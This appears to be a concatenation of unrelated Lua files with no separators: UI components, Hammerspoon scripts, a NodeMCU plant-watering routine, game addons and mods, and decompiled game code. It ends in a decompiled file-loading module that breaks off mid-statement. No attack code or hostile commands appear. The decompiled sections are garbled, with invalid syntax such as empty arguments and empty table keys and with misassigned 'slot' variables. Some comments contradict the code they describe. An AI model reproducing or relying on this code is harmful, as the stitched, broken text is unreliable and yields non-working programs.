'up')) remap({'ctrl', 'cmd', 'alt', 'shift'}, 'l', pressFn({'cmd', 'alt', 'shift'}, 'right'))
local Plugin = script.Parent.Parent.Parent.Parent local Libs = Plugin.Libs local Roact = require(Libs.Roact) local Constants = require(Plugin.Core.Util.Constants) local ContextHelper = require(Plugin.Core.Util.ContextHelper) local withTheme = ContextHelper.withTheme local Components = Plugin.Core.Components local Foundation = Components.Foundation local TabBar = require(Foundation._TabBar) local TabbedMenu = Roact.PureComponent:extend("TabbedMenu") function TabbedMenu:render() return withTheme( function(theme) local props = self.props local tabs = props.tabs local activeId = props.activeId local onTabClick = props.onTabClick local Size = props.Size or UDim2.new(1, 0, 1, 0) local tabberTheme = theme.tabber local tabHeight = Constants.TAB_HEIGHT local backgroundColor = tabberTheme.content.backgroundColor return withTheme( function(theme) return Roact.createElement( "Frame", { Size = Size, BackgroundTransparency = 1 }, { TabBar = Roact.createElement( TabBar, { tabs = tabs, activeId = activeId, onTabClick = onTabClick } ), TabBody = Roact.createElement( "Frame", { Size = UDim2.new(1, 0, 1, -tabHeight), Position = UDim2.new(0, 0, 0, tabHeight), BackgroundColor3 = backgroundColor, BorderSizePixel = 0 }, { Body = Roact.createElement( "Frame", { Size = UDim2.new(1, 0, 1, 0), BackgroundTransparency = 1 }, props[Roact.Children] ) } ) } ) end ) end ) end return TabbedMenu
function measure() -- setup pin 7 to be output gpio.mode(7, gpio.OUTPUT) -- write HIGH to pin 7 to power the moisture sensor gpio.write(7,1) -- initialze sum and measurement count count = 5 sum = 0 -- collect count number of measurements for i =0, count do sum = sum+adc.read(0) end -- shut off the sensor to minimize power gpio.write(7,0) -- calculate average measurement avg = sum / count -- return average return avg end function check(moisture) dry = false if moisture < 900 then dry = true end return dry end function water(seconds) -- setup pin 8 to be output gpio.mode(2, gpio.OUTPUT) -- write HIGH to pin 7 to power the moisture sensor gpio.write(2,1) tmr.delay(seconds * 1000000) gpio.write(2,0) end gpio.write(3,gpio.LOW) soil = measure() print(soil) dry = check(soil) print(dry) if dry then water(5) new = measure() if new < 900 then water(3) end end gpio.write(3,gpio.HIGH) -- sleep for the maximum amount of time -- which is 71mmin --node.dsleep(5000000) node.dsleep(4294967295)
local function reloadConfig(paths) doReload = false for _,file in pairs(paths) do if file:sub(-4) == ".lua" then print("A lua config file changed, reload") doReload = true end end if not doReload then print("No lua file changed, skipping reload") return end hs.reload() end configFileWatcher = hs.pathwatcher.new(os.getenv("HOME") .. "/.hammerspoon/", reloadConfig) configFileWatcher:start()
slot2 = "BankRecordListCcsItem" BankRecordListCcsItem = class(slot1) BankRecordListCcsItem.onCreationComplete = function (slot0) slot4 = CcsListViewItem ClassUtil.extends(slot2, slot0) end BankRecordListCcsItem.updateView = function (slot0) if slot0._data then slot4 = slot0._data.CollectDate slot0.txtDate.setString(slot2, slot0.txtDate) slot4 = true slot0.txtMoney_tf.setIsAssetVCenter(slot2, slot0.txtMoney_tf) slot4 = Hero if slot0._data.TargetGameID == Hero.getDwGameID(slot0.txtMoney_tf) then slot4 = "[受赠]" .. slot0._data.SourceNickName .. "(id:" .. slot0._data.SourceGameID .. ")" slot0.txtName.setString(slot2, slot0.txtName) slot3 = slot0.txtMoney_tf slot7 = "#plist_font_yellow_4_%s.png" slot0.txtMoney_tf.setHtmlText(slot2, HtmlUtil.createArtNumDotSign(slot0._data.SourceNickName, slot0._data.SwapScore)) else slot4 = Hero if slot0._data.SourceGameID == Hero.getDwGameID(slot3) then slot4 = "[赠予]" .. slot0._data.TargetNickName .. "(id:" .. slot0._data.TargetGameID .. ")" slot0.txtName.setString(slot2, slot0.txtName) slot3 = slot0.txtMoney_tf slot7 = "#plist_font_blue_5_%s.png" slot0.txtMoney_tf.setHtmlText(slot2, HtmlUtil.createArtNumDotSign(slot0._data.TargetNickName, slot0._data.SwapScore * -1)) end end end end BankRecordListCcsItem.destroy = function (slot0) slot3 = slot0.txtMoney_tf slot0.txtMoney_tf.destroy(slot2) slot3 = slot0 CcsListViewItem.destroy(slot2) end return
--[[ In this example, we will add a bonus perk that is granted on a mission trigger. We will have Felix, from Quincy, give the player the following perk if he is rescued: Veteran's Knowledge An old veteran has taught you some new tricks. +10% to Small Guns and Repair. --]] -- @{Hooks:OnStart|OnStart} hook function function OnStart() -- Add the perk. Setting maxperktaken to 0 prevents the perk from -- appearing in the list of perks at level up. newperk = { name = "perkFelix", maxperktaken = 0 } -- Replace unused perk 37: "mysteriousStranger" hookexecutor:ReplacePerk(newperk, 37) end -- @{Hooks:OnLocaleLoad|OnLocaleLoad} hook function function OnLocaleLoad() hookexecutor:AddLocaleString("name_perkFelix", "Veteran's Knowledge") hookexecutor:AddLocaleString("desc_perkFelix", "An old veteran has taught you some new tricks. +10% to Small Guns and Repair.") end -- @{Hooks:OnVariableChanged|OnVariableChanged} hook function function OnVariableChanged(key,value,campaign) -- Check if our variable is set to the value we want if key == "Felix_Rescued" and value == "True" then -- Get the player with @{world:GetPlayer} player = world:GetPlayer() -- Safety check: ensure the player doesn't already have the perk -- This will catch cases where the variable trigger accidentally fires twice if player:GetAttribute("perkFelix", ACTOR_TABLE_CURRENT) == 0 then -- Apply the perk player:SetAttribute("perkFelix", ACTOR_TABLE_PERM, 1) -- Apply bonuses granted by the perk bonus = { smallGuns=10, repair=10} player:ApplyBonus(bonus, true) -- Notify the player: message in the combat log with @{world:CombatLog}: world:CombatLog(COMBATLOG_FEW,"Felix has taught " .. player:GetName() .. " something new.") end end end
object_static_item_item_hoth_floor_light = object_static_item_shared_item_hoth_floor_light:new { } ObjectTemplates:addTemplate(object_static_item_item_hoth_floor_light, "object/static/item/item_hoth_floor_light.iff")
-- base_flowers/init.lua -- Load support for Minebase translation. local S = minetest.get_translator("base_flowers") -- -- Flowers -- flowers.register_flower("base_flowers:rose",{ description = S("Red Rose"), image = "base_flowers_rose.png", box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16}, groups = {color_red = 1, flammable = 1}, deco = {seed = 436} }) flowers.register_flower("base_flowers:tulip",{ description = S("Orange Tulip"), image = "base_flowers_tulip.png", box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16}, groups = {color_orange = 1, flammable = 1}, deco = {seed = 19822} }) flowers.register_flower("base_flowers:dandelion_yellow",{ description = S("Yellow Dandelion"), image = "base_flowers_dandelion_yellow.png", box_size = {-4 / 16, -0.5, -4 / 16, 4 / 16, -0.3, 4 / 16}, groups = {color_yellow = 1, flammable = 1}, deco = {seed = 1220999} }) flowers.register_flower("base_flowers:chrysanthemum_green",{ description = S("Green Chrysanthemum"), image = "base_flowers_chrysanthemum_green.png", box_size = {-4 / 16, -0.5, -4 / 16, 4 / 16, -0.3, 4 / 16}, groups = {color_green = 1, flammable = 1}, deco = {seed = 80081} }) flowers.register_flower("base_flowers:geranium",{ description = S("Blue Geranium"), image = "base_flowers_geranium.png", box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16}, groups = {color_blue = 1, flammable = 1}, deco = {seed = 36662} }) flowers.register_flower("base_flowers:viola",{ description = S("Viola"), image = "base_flowers_viola.png", box_size = {-5 / 16, -0.5, -5 / 16, 5 / 16, -0.3, 5 / 16}, groups = {color_violet = 1, flammable = 1}, deco = {seed = 1133} }) flowers.register_flower("base_flowers:dandelion_white",{ description = S("White Dandelion"), image = "base_flowers_dandelion_white.png", box_size = {-5 / 16, -0.5, -5 / 16, 5 / 16, -0.3, 5 / 16}, groups = {color_white = 1, flammable = 1}, deco = {seed = 73133} }) flowers.register_flower("base_flowers:tulip_black",{ description = S("Black Tulip"), image = "base_flowers_tulip_black.png", box_size = {-2 / 16, -0.5, -2 / 16, 2 / 16, -0.3, 2 / 16}, groups = {color_black = 1, flammable = 1}, deco = {seed = 42} }) -- -- Mushrooms -- flowers.register_mushroom("base_flowers:mushroom_red",{ description = S("Red Mushroom"), image = "base_flowers_mushroom_red.png", groups = {mushroom = 1, snappy = 3, attached_node = 1, flammable = 1}, on_use = minetest.item_eat(-5), box_size = {-4 / 16, -0.5, -4 / 16, 4 / 16, -0.3, 4 / 16}, deco = {} }) flowers.register_mushroom("base_flowers:mushroom_brown", { description = S("Brown Mushroom"), image = "base_flowers_mushroom_brown.png", groups = {mushroom = 1, food_mushroom = 1, snappy = 3, attached_node = 1, flammable = 1}, on_use = minetest.item_eat(1), box_size = {-3 / 16, -0.5, -3 / 16, 3 / 16, -0.3, 3 / 16}, deco = {} }) -- -- Waterlily -- flowers.register_waterlily("base_flowers:waterlily",{ description = S("Waterlily"), tiles = {"base_flowers_waterlily.png", "base_flowers_waterlily_bottom.png"}, groups = {snappy = 3, flower = 1, flammable = 1}, box_size = {-7 / 16, -0.5, -7 / 16, 7 / 16, -15 / 32, 7 / 16}, deco = {} })
-- -------------------- -- TellMeWhen -- Originally by Nephthys of Hyjal <lieandswell@yahoo.com> -- Other contributions by: -- Sweetmms of Blackrock, Oozebull of Twisting Nether, Oodyboo of Mug'thol, -- Banjankri of Blackrock, Predeter of Proudmoore, Xenyr of Aszune -- Currently maintained by -- Cybeloras of Aerie Peak -- -------------------- if not TMW then return end local TMW = TMW local L = TMW.L local print = TMW.print local IconDragger = TMW:NewModule("IconDragger", "AceTimer-3.0", "AceEvent-3.0") TMW.IconDragger = IconDragger function IconDragger:OnInitialize() WorldFrame:HookScript("OnMouseDown", function() -- this contains other bug fix stuff too IconDragger.DraggerFrame:Hide() IconDragger.IsDragging = nil end) end ---------- Icon Dragging ---------- function IconDragger:DropDownFunc() local lastAddedCentury = 1 local hasAddedOne = false for i, handlerData in ipairs(IconDragger.Handlers) do local info = TMW.DD:CreateInfo() info.notCheckable = true local shouldAddButton = handlerData.dropdownFunc(IconDragger, info) info.func = IconDragger.Handler info.arg1 = handlerData.actionFunc if shouldAddButton then -- Spacers are placed between each increment of 100 in the order. local thisCentury = floor(handlerData.order/100) + 1 if hasAddedOne and lastAddedCentury < thisCentury then TMW.DD:AddSpacer() end TMW.DD:AddButton(info) lastAddedCentury = thisCentury hasAddedOne = true end end if hasAddedOne then TMW.DD:AddSpacer() end local info = TMW.DD:CreateInfo() info.text = CANCEL info.notCheckable = true TMW.DD:AddButton(info) end IconDragger.Dropdown = TMW.C.Config_DropDownMenu_NoFrame:New() IconDragger.Dropdown:SetFunction(IconDragger.DropDownFunc) local Dropdown = IconDragger.Dropdown function IconDragger:Start(icon) IconDragger.srcicon = icon IconDragger.DraggerFrame:SetScale(icon.group:GetEffectiveScale()) local tex = IconDragger.srcicon.attributes.texture if tex == "" or not tex then tex = "Interface\\AddOns\\TellMeWhen\\Textures\\Disabled" end IconDragger.DraggerFrame.texture:SetTexture(tex) IconDragger.DraggerFrame:Show() IconDragger.IsDragging = true end function IconDragger:SetIsDraggingFalse() IconDragger.IsDragging = false end function IconDragger:CompleteDrag(script, icon) IconDragger.DraggerFrame:Hide() IconDragger:ScheduleTimer("SetIsDraggingFalse", 0.1) -- icon is the destination icon = icon or GetMouseFocus() if IconDragger.IsDragging then if type(icon) == "table" and icon.IsIcon and not icon:IsControlled() then -- if the frame that got the drag is an icon, set the destination stuff. IconDragger.desticon = icon IconDragger.destFrame = nil if script == "OnDragStop" then -- wait for OnDragReceived return end if IconDragger.desticon == IconDragger.srcicon then return end Dropdown:SetDropdownAnchor("TOPLEFT", icon, "BOTTOMLEFT", 0, 0) else IconDragger.desticon = nil IconDragger.destFrame = icon -- not actually an icon. just some frame. local cursorX, cursorY = GetCursorPosition() local UIScale = UIParent:GetScale() -- We offset the position here by 1 so that the frame is always under the cursor. -- Otherwise, it might not be under the cursor, causing the dropdown to never auto-hide if the user -- never drags their cursor over it. Dropdown:SetDropdownAnchor(nil, UIParent, "BOTTOMLEFT", cursorX/UIScale - 1, cursorY/UIScale + 1) end if not DropDownList1:IsShown() or TMW.DD.OPEN_MENU ~= Dropdown then Dropdown:Toggle(1) end end end function IconDragger:NoGlobalToProfile(invert) local srcicon = IconDragger.srcicon local desticon = IconDragger.desticon if not (srcicon and desticon) then return nil end if srcicon.group.Domain == "global" and desticon.group.Domain == "profile" then return invert end return true end function IconDragger:NoProfileToGlobal(invert) local srcicon = IconDragger.srcicon local desticon = IconDragger.desticon if not (srcicon and desticon) then return nil end if srcicon.group.Domain == "profile" and desticon.group.Domain == "global" then return invert end return true end IconDragger.Handlers = {} function IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc) TMW:ValidateType("2 (order)", "IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc)", order, "number") TMW:ValidateType("3 (func)", "IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc)", dropdownFunc, "function") TMW:ValidateType("4 (func)", "IconDragger:RegisterIconDragHandler(order, dropdownFunc, actionFunc)", actionFunc, "function") tinsert(IconDragger.Handlers, { order = order, dropdownFunc = dropdownFunc, actionFunc = actionFunc, }) TMW:SortOrderedTables(IconDragger.Handlers) end IconDragger:RegisterIconDragHandler(1, -- Move function(IconDragger, info) if IconDragger.desticon then info.text = L["ICONMENU_MOVEHERE"] info.tooltipTitle = nil info.tooltipText = nil return true end end, function(IconDragger) -- move the actual settings local srcgs = IconDragger.srcicon.group:GetSettings() local srcics = IconDragger.srcicon:GetSettings() TMW:PrepareIconSettingsForCopying(srcics, srcgs) IconDragger.desticon.group:GetSettings().Icons[IconDragger.desticon:GetID()] = srcgs.Icons[IconDragger.srcicon:GetID()] srcgs.Icons[IconDragger.srcicon:GetID()] = nil -- preserve buff/debuff/other types textures IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture) end ) IconDragger:RegisterIconDragHandler(2, -- Copy function(IconDragger, info) if IconDragger.desticon then info.text = L["ICONMENU_COPYHERE"] info.tooltipTitle = nil info.tooltipText = nil return true end end, function(IconDragger) -- copy the settings local srcgs = IconDragger.srcicon.group:GetSettings() local srcics = IconDragger.srcicon:GetSettings() TMW:PrepareIconSettingsForCopying(srcics, srcgs) IconDragger.desticon.group:GetSettings().Icons[IconDragger.desticon:GetID()] = TMW:CopyWithMetatable(srcics) -- Erase the GUID from the new icon. IconDragger.desticon:GetSettings().GUID = nil -- preserve buff/debuff/other types textures IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture) end ) IconDragger:RegisterIconDragHandler(3, -- Swap function(IconDragger, info) if IconDragger.desticon then info.text = L["ICONMENU_SWAPWITH"] info.tooltipTitle = nil info.tooltipText = nil return true end end, function(IconDragger) -- swap the actual settings local destgs = IconDragger.desticon.group:GetSettings() local destics = IconDragger.desticon:GetSettings() local srcgs = IconDragger.srcicon.group:GetSettings() local srcics = IconDragger.srcicon:GetSettings() TMW:PrepareIconSettingsForCopying(destics, destgs) TMW:PrepareIconSettingsForCopying(srcics, srcgs) destgs.Icons[IconDragger.desticon:GetID()] = srcics srcgs.Icons[IconDragger.srcicon:GetID()] = destics -- preserve buff/debuff/other types textures local desttex = IconDragger.desticon.attributes.texture IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture) IconDragger.srcicon:SetInfo("texture", desttex) end ) IconDragger:RegisterIconDragHandler(4, -- Insert function(IconDragger, info) if IconDragger.desticon then info.text = L["ICONMENU_INSERTHERE"] info.tooltipTitle = L["ICONMENU_INSERTHERE"] info.tooltipText = L["ICONMENU_INSERTHERE_DESC"]:format( IconDragger.srcicon:GetFullName(), IconDragger.desticon:GetFullName() ) return true end end, function(IconDragger) -- move the actual settings local srcgs = IconDragger.srcicon.group:GetSettings() local srcics = IconDragger.srcicon:GetSettings() TMW:PrepareIconSettingsForCopying(srcics, srcgs) local targetId = IconDragger.desticon:GetID() local ics = tremove(srcgs.Icons, IconDragger.srcicon:GetID()) tinsert(IconDragger.desticon.group:GetSettings().Icons, targetId, ics) -- preserve buff/debuff/other types textures IconDragger.desticon:SetInfo("texture", IconDragger.srcicon.attributes.texture) end ) local function Split(IconDragger, domain) if InCombatLockdown() then -- Groups can't be added in combat error("TMW: Can't create groups while in combat") end local group = TMW:Group_Add(domain) -- back up the icon data of the source group local SOURCE_ICONS = IconDragger.srcicon.group:GetSettings().Icons -- copy the source group. -- pcall so that, in the rare event of some unforseen error, we don't lose the user's settings (they haven't yet been restored) local success, err = pcall(function() -- nullify it (we don't want to copy it) IconDragger.srcicon.group:GetSettings().Icons = nil TMW:CopyTableInPlaceUsingDestinationMeta(IconDragger.srcicon.group:GetSettings(), group:GetSettings()) end) -- restore the icon data of the source group IconDragger.srcicon.group:GetSettings().Icons = SOURCE_ICONS -- now it is safe to error since we restored the old settings assert(success, err) local gs = group:GetSettings() -- Generate a new GUID for the new group. gs.GUID = nil group:GetGUID() -- group tweaks gs.Rows = 1 gs.Columns = 1 gs.Name = "" gs.Alpha = 1 -- adjustments and positioning local p = gs.Point p.point, p.relativeTo, p.relativePoint, p.x, p.y = IconDragger.DraggerFrame.texture:GetPoint(1) p.relativeTo = "UIParent" --group:Setup() -- move the actual icon settings gs.Icons[1] = IconDragger.srcicon.group.Icons[IconDragger.srcicon:GetID()] IconDragger.srcicon.group.Icons[IconDragger.srcicon:GetID()] = nil -- preserve textures if group and group[1] then group[1]:SetInfo("texture", IconDragger.srcicon.attributes.texture) end group:Setup() end IconDragger:RegisterIconDragHandler(40, -- Split to profile function(IconDragger, info) if IconDragger.destFrame then info.text = L["ICONMENU_SPLIT"] info.tooltipTitle = L["ICONMENU_SPLIT"] info.tooltipText = L["ICONMENU_SPLIT_DESC"] if InCombatLockdown() then info.tooltipWhileDisabled = true info.tooltipText = L["ICONMENU_SPLIT_NOCOMBAT_DESC"] info.disabled = true end return true end end, function(IconDragger) Split(IconDragger, "profile") end ) IconDragger:RegisterIconDragHandler(41, -- Split to global function(IconDragger, info) if IconDragger.destFrame then info.text = L["ICONMENU_SPLIT_GLOBAL"] info.tooltipTitle = L["ICONMENU_SPLIT_GLOBAL"] info.tooltipText = L["ICONMENU_SPLIT_DESC"] .. "\r\n\r\n" .. L["GLOBAL_GROUP_GENERIC_DESC"] if InCombatLockdown() then info.tooltipWhileDisabled = true info.tooltipText = L["ICONMENU_SPLIT_NOCOMBAT_DESC"] info.disabled = true end return true end end, function(IconDragger) Split(IconDragger, "global") end ) ---------- Icon Handler ---------- function IconDragger:Handler(method) -- close the menu TMW.DD:CloseDropDownMenus() -- save misc. settings TMW.IE:SaveSettings() -- attempt to create a backup before doing anything IconDragger.srcicon:SaveBackup() if IconDragger.desticon then IconDragger.desticon:SaveBackup() end -- finally, invoke the method to handle the operation. method(IconDragger) -- then, update things TMW:Update() TMW.IE:LoadIcon(1) end
keyboardWatcher = hs.usb.watcher.new(function(params) if params["productName"] == "Realforce 87" and params["eventType"] == "added" then hs.notify.new({title="Karabiner-Elements Profile Switcher", informativeText=params["productName"].." connected"}):send() hs.task.new("/Users/uraura/bin/karabiner-elements-profile-switcher", nil, {"use", "RealForce"}):start() elseif params["productName"] == "Realforce 87" and params["eventType"] == "removed" then hs.notify.new({title="Karabiner-Elements Profile Switcher", informativeText=params["productName"].." disconnected"}):send() hs.task.new("/Users/uraura/bin/karabiner-elements-profile-switcher", nil, {"use", "Default"}):start() end end) keyboardWatcher:start()
local makeRay = require("rbx_lua_types").Ray.new local makeVector3 = require("rbx_lua_types").Vector3.new local datatype = {} datatype.name = "Ray" datatype.id = 0x08 function datatype.default() return makeRay(0, 0, 0, 0, 0, 0) end function datatype.reader(stream, count) local rays = {} for i = 1, count do rays[i] = makeRay( makeVector3(stream.readLEFloat32(), stream.readLEFloat32(), stream.readLEFloat32()), makeVector3(stream.readLEFloat32(), stream.readLEFloat32(), stream.readLEFloat32()) ) end return rays end function datatype.writer(stream, values) -- error("writer is not yet implemented for type `"..datatype.name.."`", 2) for _, v in ipairs(values) do stream.writeLEFloat32(v.Origin.X) stream.writeLEFloat32(v.Origin.Y) stream.writeLEFloat32(v.Origin.Z) stream.writeLEFloat32(v.Direction.X) stream.writeLEFloat32(v.Direction.Y) stream.writeLEFloat32(v.Direction.Z) end end return datatype
require("mod.autopickup.data.autopickup.predicate") require("mod.autopickup.data.autopickup.target")
local EventFrame = CreateFrame("Frame") -- gear manager local BL_TEXTURE = [[Interface\MacroFrame\MacroPopup-BotLeft]] local BR_TEXTURE = [[Interface\MacroFrame\MacroPopup-BotRight]] local SCROLL_BAR_FNAME = [[Interface\ClassTrainerFrame\UI-ClassTrainer-ScrollBar]] local BKG_LEFT_FNAME = [[Interface\MacroFrame\MacroPopup-TopLeft]] local BKG_RIGHT_FNAME = [[Interface\MacroFrame\MacroPopup-TopRight]] -- macro local GMMI_TEXTURE_NAME = "GearManagerMoreIconsScrollTexture" local tex_scroll, tex_bkg_left, tex_bkg_right local function CreateTex(var_tex, parent, tex, layer, width, height, ...) if var_tex == nil then var_tex = parent:CreateTexture(GMMI_TEXTURE_NAME, layer) end var_tex:SetPoint(...) var_tex:SetTexture(tex) var_tex:SetWidth(width) var_tex:SetHeight(height) var_tex:Show() return var_tex end local function SetGearManagerDialog() NUM_GEARSET_ICONS_PER_ROW = 5; NUM_GEARSET_ICON_ROWS = 12; NUM_GEARSET_ICONS_SHOWN = NUM_GEARSET_ICONS_PER_ROW * NUM_GEARSET_ICON_ROWS local width = (GEARSET_ICON_ROW_HEIGHT + 8) * NUM_GEARSET_ICONS_PER_ROW + 77 local height = (GEARSET_ICON_ROW_HEIGHT + 8) * NUM_GEARSET_ICON_ROWS + 122 GearManagerDialogPopup:SetWidth(width) GearManagerDialogPopup:SetHeight(height) local scroll_width = width - 1 local scroll_height = height - 103 GearManagerDialogPopupScrollFrame:SetWidth(scroll_width) GearManagerDialogPopupScrollFrame:SetHeight(scroll_height) for i, region in ipairs({GearManagerDialogPopup:GetRegions()}) do if region:IsObjectType("Texture") then --print(region:GetTexture()) if region:GetTexture() == BL_TEXTURE then --print("BL_TEXTURE found") region:ClearAllPoints() region:SetPoint("BOTTOMLEFT", GearManagerDialogPopup, "BOTTOMLEFT", 0, -22) elseif region:GetTexture() == BR_TEXTURE then --print("BR_TEXTURE found") region:ClearAllPoints() region:SetPoint("BOTTOMRIGHT", GearManagerDialogPopup, "BOTTOMRIGHT", 23, -22) end end end if scroll_height > 151 then CreateTex(tex_scroll, GearManagerDialogPopupScrollFrame, SCROLL_BAR_FNAME, "BACKGROUND", 30, scroll_height - 151, "LEFT", GearManagerDialogPopupScrollFrame, "RIGHT", -3, 0):SetTexCoord(0, 0.46875, 0.2, 0.9609375) CreateTex(tex_bkg_left, GearManagerDialogPopup, BKG_LEFT_FNAME, "BACKGROUND", 256, scroll_height - 151, "TOPLEFT", GearManagerDialogPopup, "TOPLEFT", 0, -212):SetTexCoord(0, 1, 0.5, 1) CreateTex(tex_bkg_right, GearManagerDialogPopup, BKG_RIGHT_FNAME, "BACKGROUND", 64, scroll_height - 151, "TOPRIGHT", GearManagerDialogPopup, "TOPRIGHT", 23, -212):SetTexCoord(0, 1, 0.5, 1) else if tex_scroll then tex_scroll:Hide() end if tex_bkg_left then tex_bkg_left: Hide() end if tex_bkg_right then tex_bkg_right: Hide() end end GearManagerDialogPopup_OnLoad(GearManagerDialogPopup) RecalculateGearManagerDialogPopup() end local function SetMacroDialog() --print("OnShow MacroPopupFrame hook func") NUM_ICONS_PER_ROW = 5; NUM_ICON_ROWS = 12; NUM_MACRO_ICONS_SHOWN = NUM_ICONS_PER_ROW * NUM_ICON_ROWS local width = (MACRO_ICON_ROW_HEIGHT + 8) * NUM_ICONS_PER_ROW + 77 local height = (MACRO_ICON_ROW_HEIGHT + 8) * NUM_ICON_ROWS + 122 MacroPopupFrame:SetWidth(width) MacroPopupFrame:SetHeight(height) local scroll_width = width - 1 local scroll_height = height - 103 MacroPopupScrollFrame:SetWidth(scroll_width) MacroPopupScrollFrame:SetHeight(scroll_height) for i, region in ipairs({MacroPopupFrame:GetRegions()}) do if region:IsObjectType("Texture") then --print(region:GetTexture()) if region:GetTexture() == BL_TEXTURE then --print("BL_TEXTURE found") region:ClearAllPoints() region:SetPoint("BOTTOMLEFT", MacroPopupFrame, "BOTTOMLEFT", 0, -22) elseif region:GetTexture() == BR_TEXTURE then --print("BR_TEXTURE found") region:ClearAllPoints() region:SetPoint("BOTTOMRIGHT", MacroPopupFrame, "BOTTOMRIGHT", 23, -22) end end end if scroll_height > 151 then CreateTex(tex_scroll, MacroPopupScrollFrame, SCROLL_BAR_FNAME, "BACKGROUND", 30, scroll_height - 151, "LEFT", MacroPopupScrollFrame, "RIGHT", -3, 0):SetTexCoord(0, 0.46875, 0.2, 0.9609375) CreateTex(tex_bkg_left, MacroPopupFrame, BKG_LEFT_FNAME, "BACKGROUND", 256, scroll_height - 151, "TOPLEFT", MacroPopupFrame, "TOPLEFT", 0, -212):SetTexCoord(0, 1, 0.5, 1) CreateTex(tex_bkg_right, MacroPopupFrame, BKG_RIGHT_FNAME, "BACKGROUND", 64, scroll_height - 151, "TOPRIGHT", MacroPopupFrame, "TOPRIGHT", 23, -212):SetTexCoord(0, 1, 0.5, 1) else if tex_scroll then tex_scroll:Hide() end if tex_bkg_left then tex_bkg_left: Hide() end if tex_bkg_right then tex_bkg_right: Hide() end end local buttons = {} local NUM_MACRO_ICONS_DEFAULT = 20 for i = 1, NUM_MACRO_ICONS_DEFAULT do local button = _G["MacroPopupButton"..i] tinsert(buttons, button) end local lastPos for i = 21, NUM_MACRO_ICONS_SHOWN do local button = _G["MacroPopupButton"..i] if not(button) then button = CreateFrame("CheckButton", "MacroPopupButton" .. i, MacroPopupFrame, "MacroPopupButtonTemplate") button:SetID(i) end lastPos = (i - 1) / NUM_ICONS_PER_ROW if ( lastPos == math.floor(lastPos) ) then button:SetPoint("TOPLEFT", buttons[i - NUM_ICONS_PER_ROW], "BOTTOMLEFT", 0, -8) else button:SetPoint("TOPLEFT", buttons[i - 1], "TOPRIGHT", 10, 0) end tinsert(buttons, button) end MacroPopupFrame_OnShow(MacroPopupFrame) end local MacroFrameHookIsSet local function SetHookFunc() hooksecurefunc(GearManagerDialogPopup, "Show", SetGearManagerDialog) hooksecurefunc("MacroFrame_LoadUI", function() --print("OnShow MacroFrame hook func") if not(MacroFrameHookIsSet) then hooksecurefunc(MacroPopupFrame, "Show", SetMacroDialog) MacroFrameHookIsSet = true end end) end local function OnEvent(self, event, ...) if event == "ADDON_LOADED" then local addon = ... if ( addon == nil ) then return end if ( addon == "GearManagerMoreIcons" ) then EventFrame:UnregisterEvent("ADDON_LOADED") --print("loading GearManagerMoreIcons") SetHookFunc() end end end EventFrame:RegisterEvent("ADDON_LOADED") EventFrame:SetScript("OnEvent", OnEvent)
function slot1() return FileTool.GetCurrentDirectiory() .. "\\" end function slot2(slot0) if slot0:gsub("/", "\\"):find(":") == nil then slot0 = slot0() .. slot0 end if slot0:sub(#slot0, ) == "\\" then slot0 = slot0:sub(1, slot1 - 1) end slot2 = {} for slot6 in slot0:gmatch("[^\\]+") do if slot6 == ".." and #slot2 ~= 0 then table.remove(slot2) elseif slot6 ~= "." then table.insert(slot2, slot6) end end return table.concat(slot2, "\\") end return { FailNotify = function (...) if slot0.NotifyFunc then slot0.NotifyFunc(...) end end, DebugNofity = function (...) if slot0.DebugNofityFunc then slot0.DebugNofityFunc(...) end end, InitFileMap = function (slot0) for slot4, slot5 in pairs(slot0) do slot1.NotifyFunc("root path: " .. slot5) print("count " .. FileTool.GetAllFiles(slot5).Count) for slot10 = 0, FileTool.GetAllFiles(slot5).Count - 1, 1 do if string.match(slot6:get_Item(slot10), ".*\\(.[_a-zA-Z][_a-zA-Z0-9]*)%.lua") ~= nil then if slot1.FileMap[slot12] == nil then slot1.FileMap[slot12] = {} end slot1.LuaPathToSysPath[string.gsub(string.sub(slot11, #slot5 + 2, #slot11 - 4), "\\", ".")] = SysPath table.insert(slot1.FileMap[slot12], { SysPath = slot11, LuaPath = string.gsub(string.sub(slot11, #slot5 + 2, #slot11 - 4), "\\", ".") }) end end slot1.NotifyFunc("load module count: " .. table.getn(slot1.FileMap)) end end, InitFakeTable = function () slot0.Meta = { __index = function (slot0, slot1) if slot1 == "setmetatable" then return slot0 elseif slot1 == "pairs" or slot1 == "ipairs" then return slot1 elseif slot1 == "next" then return slot2 elseif slot1 == "require" then return slot3 else rawset(slot0, slot1, slot4()) return slot4() end end, __newindex = function (slot0, slot1, slot2) rawset(slot0, slot1, slot2) end, __call = function () slot0 = slot0() return slot0, slot0(), slot0() end, __add = function () return slot0.__call() end, __sub = function () return slot0.__call() end, __mul = function () return slot0.__call() end, __div = function () return slot0.__call() end, __mod = function () return slot0.__call() end, __pow = function () return slot0.__call() end, __unm = function () return slot0.__call() end, __concat = function () return slot0.__call() end, __eq = function () return slot0.__call() end, __lt = function () return slot0.__call() end, __le = function () return slot0.__call() end, __len = function () return slot0.__call() end } function slot2() return end function slot3() return slot0 end function slot4(slot0, slot1) slot0.MetaMap[slot0] = slot1 return slot0 end function slot5(slot0) if not slot0.RequireMap[slot0] then slot0.RequireMap[slot0] = slot1() end return slot0.RequireMap[slot0] end return function () return setmetatable({}, setmetatable) end end, InitProtection = function () slot0.Protection = { [setmetatable] = true } slot0.Protection.Protection[pairs] = true slot0.Protection.Protection.Protection[ipairs] = true slot0.Protection.Protection.Protection.Protection[next] = true slot0.Protection.Protection.Protection.Protection.Protection[require] = true slot0.Protection.Protection.Protection.Protection.Protection.Protection[] = true slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection[slot0.Meta] = true slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection[math] = true slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection[string] = true slot0.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection.Protection[table] = true end, AddFileFromHUList = function () package.loaded[slot0.UpdateListFile] = nil slot0 = 